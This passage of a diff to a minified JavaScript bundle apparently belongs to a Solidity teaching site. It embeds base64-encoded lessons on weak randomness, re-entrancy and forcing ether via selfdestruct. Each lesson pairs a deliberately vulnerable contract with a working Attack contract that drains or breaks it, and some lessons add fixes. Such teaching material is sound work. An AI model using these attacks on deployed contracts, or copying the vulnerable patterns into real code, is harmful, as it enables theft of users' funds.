igKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEgZXRoZXJ9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjayhHdWVzc1RoZVJhbmRvbU51bWJlciBndWVzc1RoZVJhbmRvbU51bWJlcikgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],gZ=`

                              Vulnerability

                              +`,IZ=({prev:s,next:a})=>r.jsx(u,{version:oZ,title:rZ,description:iZ,html:hZ,prev:s,next:a,codes:gZ}),dZ="0.8.24",CZ="Source of Randomness",jZ="Blockchain is not a reliable source of randomness in Solidity",uZ=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50MjU2IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEgZXRoZXJ9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjayhHdWVzc1RoZVJhbmRvbU51bWJlciBndWVzc1RoZVJhbmRvbU51bWJlcikgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],AZ=`

                              Vulnerability

                              blockhash and block.timestamp are not reliable sources for randomness.

                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -8750,7 +9312,7 @@ Attack computed the correct answer by simply copying the code that computes the
 
                                
 
                              • Don't use blockhash and block.timestamp as source of randomness
                                • 
 
                              
-`,hZ=({prev:s,next:a})=>r.jsx(u,{version:tZ,title:oZ,description:rZ,html:gZ,prev:s,next:a,codes:iZ}),dZ="0.8.24",IZ="Re-Entrancy",CZ="An example of re-entrancy attack in Solidity",jZ=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYmFsfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlclN0b3JlIHB1YmxpYyBldGhlclN0b3JlOwogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgQU1PVU5UID0gMSBldGhlcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],uZ=`
                              Vulnerability
                              
+`,yZ=({prev:s,next:a})=>r.jsx(u,{version:dZ,title:CZ,description:jZ,html:AZ,prev:s,next:a,codes:uZ}),mZ="0.8.24",bZ="Re-Entrancy",wZ="An example of re-entrancy attack in Solidity",kZ=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYmFsfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlclN0b3JlIHB1YmxpYyBldGhlclN0b3JlOwogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgQU1PVU5UID0gMSBldGhlcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],ZZ=`
                              Vulnerability
                              
 
                              Let's say that contract A calls contract B.
                              
 
                              Reentracy exploit allows B to call back into A before A finishes execution.
                              
 
                              // SPDX-License-Identifier: MIT
@@ -8851,7 +9413,7 @@ Here is how the functions were called
         locked = false;
     }
 }
-
                              `,yZ=({prev:s,next:a})=>r.jsx(u,{version:dZ,title:IZ,description:CZ,html:uZ,prev:s,next:a,codes:jZ}),AZ="0.8.24",mZ="Self Destruct",bZ="An example of how to delete your smart contract by calling seldestruct in Solidity",wZ=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50MjU2IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFlvdSBjYW4gc2ltcGx5IGJyZWFrIHRoZSBnYW1lIGJ5IHNlbmRpbmcgZXRoZXIgc28gdGhhdAogICAgICAgIC8vIHRoZSBnYW1lIGJhbGFuY2UgPj0gNyBldGhlcgoKICAgICAgICAvLyBjYXN0IGFkZHJlc3MgdG8gcGF5YWJsZQogICAgICAgIGFkZHJlc3MgcGF5YWJsZSBhZGRyID0gcGF5YWJsZShhZGRyZXNzKGV0aGVyR2FtZSkpOwogICAgICAgIHNlbGZkZXN0cnVjdChhZGRyKTsKICAgIH0KfQo="},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50MjU2IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],kZ=`
                              Contracts can be deleted from the blockchain by calling selfdestruct.
                              
+
                              `,WZ=({prev:s,next:a})=>r.jsx(u,{version:mZ,title:bZ,description:wZ,html:ZZ,prev:s,next:a,codes:kZ}),BZ="0.8.24",GZ="Self Destruct",VZ="An example of how to delete your smart contract by calling seldestruct in Solidity",fZ=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50MjU2IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFlvdSBjYW4gc2ltcGx5IGJyZWFrIHRoZSBnYW1lIGJ5IHNlbmRpbmcgZXRoZXIgc28gdGhhdAogICAgICAgIC8vIHRoZSBnYW1lIGJhbGFuY2UgPj0gNyBldGhlcgoKICAgICAgICAvLyBjYXN0IGFkZHJlc3MgdG8gcGF5YWJsZQogICAgICAgIGFkZHJlc3MgcGF5YWJsZSBhZGRyID0gcGF5YWJsZShhZGRyZXNzKGV0aGVyR2FtZSkpOwogICAgICAgIHNlbGZkZXN0cnVjdChhZGRyK